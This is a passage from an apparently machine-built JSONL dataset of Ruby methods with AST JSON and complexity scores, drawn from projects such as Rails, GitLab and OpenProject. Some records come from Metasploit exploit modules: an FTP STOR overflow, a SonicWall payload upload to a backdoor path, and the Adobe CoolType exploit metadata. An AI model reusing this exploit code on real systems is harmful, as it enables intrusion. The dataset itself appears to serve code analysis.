\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand_text_english\",{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"STOR \"]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand_text_english\",{\"type\":\"int\",\"children\":[253]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand_text_english\",{\"type\":\"int\",\"children\":[20]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"1000\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Trying target \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"sploit\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Not in Trusted Hosts.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"fd5d4658-ff3a-48fe-bba4-6ced757a79f1"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/warning_bar_helper.rb","start_line":58,"raw_source":"def no_workflow_for_wp_edit_role?\n    workflow_exists = OpenProject::Cache.read(\"no_wp_share_editor_workflow\")\n\n    if workflow_exists.nil?\n      workflow_exists = Workflow.exists?(role_id: Role.where(builtin: Role::BUILTIN_WORK_PACKAGE_EDITOR).select(:id))\n      OpenProject::Cache.write(\"no_wp_share_editor_workflow\", workflow_exists) if workflow_exists\n    end\n\n    !workflow_exists\n  end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"no_workflow_for_wp_edit_role?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"workflow_exists\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Cache\"]},\"read\",{\"type\":\"str\",\"children\":[\"no_wp_share_editor_workflow\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"workflow_exists\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"workflow_exists\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Workflow\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Role\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"builtin\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Role\"]},\"BUILTIN_WORK_PACKAGE_EDITOR\"]}]}]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"workflow_exists\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Cache\"]},\"write\",{\"type\":\"str\",\"children\":[\"no_wp_share_editor_workflow\"]},{\"type\":\"lvar\",\"children\":[\"workflow_exists\"]}]},null]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"workflow_exists\"]},\"!\"]}]}]}","id":"fd053652-608b-4b17-9f4f-9f496b17d9c5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250629222107_change_work_item_custom_lifecycle_name_limit.rb","start_line":9,"raw_source":"def up\n    remove_text_limit :work_item_custom_lifecycles, :name, constraint_name: CONSTRAINT_NAME\n    add_text_limit :work_item_custom_lifecycles, :name, 64, constraint_name: CONSTRAINT_NAME\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_text_limit\",{\"type\":\"sym\",\"children\":[\"work_item_custom_lifecycles\"]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"constraint_name\"]},{\"type\":\"const\",\"children\":[null,\"CONSTRAINT_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_text_limit\",{\"type\":\"sym\",\"children\":[\"work_item_custom_lifecycles\"]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"int\",\"children\":[64]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"constraint_name\"]},{\"type\":\"const\",\"children\":[null,\"CONSTRAINT_NAME\"]}]}]}]}]}]}","id":"60837f3c-1739-4e08-a13b-c6545312cd21"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/slice.rb","start_line":370,"raw_source":"def prepared?\n        !!@prepared\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"prepared?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@prepared\"]},\"!\"]},\"!\"]}]}","id":"c642d546-8de4-4a0b-9345-109a92de72f1"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/multiparameter_attributes_test.rb","start_line":54,"raw_source":"def test_multiparameter_attributes_on_date_with_empty_year_and_month\n    attributes = { \"last_read(1i)\" => \"\", \"last_read(2i)\" => \"\", \"last_read(3i)\" => \"24\" }\n    topic = Topic.find(1)\n    topic.attributes = attributes\n    assert_nil topic.last_read\n  end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_multiparameter_attributes_on_date_with_empty_year_and_month\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"last_read(1i)\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"last_read(2i)\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"last_read(3i)\"]},{\"type\":\"str\",\"children\":[\"24\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"attributes=\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"last_read\"]}]}]}]}","id":"2424b863-bafb-4c32-904d-9d1c328583f1"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/test/processor_test.rb","start_line":25,"raw_source":"def build_enumerator(cursor:)\n    array_enumerator((1..10).to_a, cursor: cursor)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_enumerator\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"cursor\"]}]},{\"type\":\"send\",\"children\":[null,\"array_enumerator\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[10]}]}]},\"to_a\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cursor\"]},{\"type\":\"lvar\",\"children\":[\"cursor\"]}]}]}]}]}","id":"da4d0d75-c431-418d-bf1f-ea47d4fbede3"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/thread_detective.rb","start_line":26,"raw_source":"def monitor(max_threads)\n    STDERR.puts \"Monitoring threads in #{Process.pid}\"\n\n    while true\n      threads = Thread.list\n\n      if threads.length > max_threads\n        str = +(\"-\" * 60)\n        str << \"#{threads.length} found in Process #{Process.pid}!\\n\"\n\n        threads.each do |thread|\n          str << \"\\n\"\n          if thread.origin\n            str << thread.origin\n          else\n            str << thread.inspect\n          end\n          str << \"\\n\"\n        end\n        str << (\"-\" * 60)\n\n        STDERR.puts str\n      end\n      sleep 1\n    end\n  end","complexity_score":41.65,"ast_json":"{\"type\":\"def\",\"children\":[\"monitor\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"max_threads\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STDERR\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Monitoring threads in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"pid\"]}]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"threads\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"list\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threads\"]},\"length\"]},\">\",{\"type\":\"lvar\",\"children\":[\"max_threads\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"str\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"-\"]},\"*\",{\"type\":\"int\",\"children\":[60]}]}]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threads\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" found in Process \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"pid\"]}]},{\"type\":\"str\",\"children\":[\"!\\n\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threads\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"thread\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread\"]},\"origin\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread\"]},\"origin\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread\"]},\"inspect\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"<<\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"-\"]},\"*\",{\"type\":\"int\",\"children\":[60]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STDERR\"]},\"puts\",{\"type\":\"lvar\",\"children\":[\"str\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"3ba3f16b-d142-4d27-905a-e549751c3a9c"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/mailers/application_mailer.rb","start_line":180,"raw_source":"def header_host_value\n    host = Setting.mail_from.to_s.gsub(%r{\\A.*@}, \"\")\n    host = \"#{::Socket.gethostname}.openproject\" if host.empty?\n    host\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"header_host_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"mail_from\"]},\"to_s\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A.*@\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"empty?\"]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Socket\"]},\"gethostname\"]}]},{\"type\":\"str\",\"children\":[\".openproject\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"host\"]}]}]}","id":"cec88fea-915a-4eeb-b2e4-f77b23d5e733"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/articles/updater.rb","start_line":61,"raw_source":"def became_unpublished?\n      article.saved_changes[\"published\"] == [true, false]\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"became_unpublished?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"article\"]},\"saved_changes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"published\"]}]},\"==\",{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]}]}]}","id":"236486a8-b7b9-45dd-b1ef-a35f7afad2e8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/resource_events/merge_into_notes_service.rb","start_line":20,"raw_source":"def initialize(resource, current_user, params = {})\n      @resource = resource\n      @current_user = current_user\n      @params = params\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource\"]},{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@resource\",{\"type\":\"lvar\",\"children\":[\"resource\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"1c612f5a-6747-4c69-b624-b949948a6a5d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb","start_line":238,"raw_source":"def upload_payload(backdoor_fname, payload_fname)\n    p = generate_payload_exe(\n      code: payload.encoded,\n      platform: @my_target.platform,\n      arch: @my_target.arch\n    )\n\n    print_status(\"Uploading #{payload_fname} (#{p.length} bytes)...\")\n\n    post_data = Rex::MIME::Message.new\n    post_data.add_part(\n      p,\n      'application/octet-stream',\n      'binary',\n      \"form-data; name=\\\"uploadedfile\\\"; filename=\\\"#{payload_fname}\\\"\"\n    )\n    data = post_data.to_s\n\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri, \"/d4d/#{backdoor_fname}\"),\n      'ctype' => \"multipart/form-data; boundary=#{post_data.bound}\",\n      'data' => data\n    })\n\n    unless res\n      # Here we are not using fail_with, because when we get a session, it seems to be creating\n      # the same effect as connection hanging... and then eventually times out. If that\n      # happens, a fail_with() can cause msfconsole to believe there is no session created.\n      vprint_status('Connection timed out while uploading payload.')\n      return\n    end\n\n    if res.code == 404\n      fail_with(Failure::Unknown, \"Server returned 404 for #{backdoor_fname}.\")\n    end\n  end","complexity_score":26.8,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"backdoor_fname\"]},{\"type\":\"arg\",\"children\":[\"payload_fname\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@my_target\"]},\"platform\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"arch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@my_target\"]},\"arch\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Uploading \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_fname\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes)...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"p\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]},{\"type\":\"str\",\"children\":[\"binary\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"form-data; name=\\\"uploadedfile\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_fname\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"target_uri\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/d4d/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"backdoor_fname\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"bound\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Connection timed out while uploading payload.\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[404]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Server returned 404 for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"backdoor_fname\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},null]}]}]}","id":"8d6211aa-9f25-4af0-8119-a1a7283e1a67"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/adobe_cooltype_sing.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Adobe CoolType SING Table \"uniqueName\" Stack Buffer Overflow',\n        'Description' => %q{\n          This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table\n          handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior versions are\n          assumed to be vulnerable as well.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Unknown',    # 0day found in the wild\n          'sn0wfl0w',   # initial analysis, also @vicheck on twitter\n          'jduck'       # Metasploit module\n        ],\n        'References' => [\n          [ 'CVE', '2010-2883' ],\n          [ 'OSVDB', '67849'],\n          [ 'URL', 'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html' ],\n          [ 'URL', 'http://www.adobe.com/support/security/advisories/apsa10-02.html' ]\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n          'HTTP::compression' => 'gzip',\n          'HTTP::chunked' => true,\n          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'\n        },\n        'Payload' => {\n          'Space' => 1000,\n          'BadChars' => \"\\x00\",\n          'DisableNops' => true\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          # Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd\n          # Tested OK via Adobe Reader 9.3.4 on Windows 7 -jjd\n          # Tested OK via Adobe Reader 9.3 on XP and 7 -todb\n          [ 'Automatic', {}],\n        ],\n        'DisclosureDate' => '2010-09-07',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Adobe CoolType SING Table \\\"uniqueName\\\" Stack Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table\\n\"]},{\"type\":\"str\",\"children\":[\"          handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior versions are\\n\"]},{\"type\":\"str\",\"children\":[\"          assumed to be vulnerable as well.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown\"]},{\"type\":\"str\",\"children\":[\"sn0wfl0w\"]},{\"type\":\"str\",\"children\":[\"jduck\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2010-2883\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"67849\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.adobe.com/support/security/advisories/apsa10-02.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTP::compression\"]},{\"type\":\"str\",\"children\":[\"gzip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTP::chunked\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"InitialAutoRunScript\"]},{\"type\":\"str\",\"children\":[\"post/windows/manage/priv_migrate\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2010-09-07\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,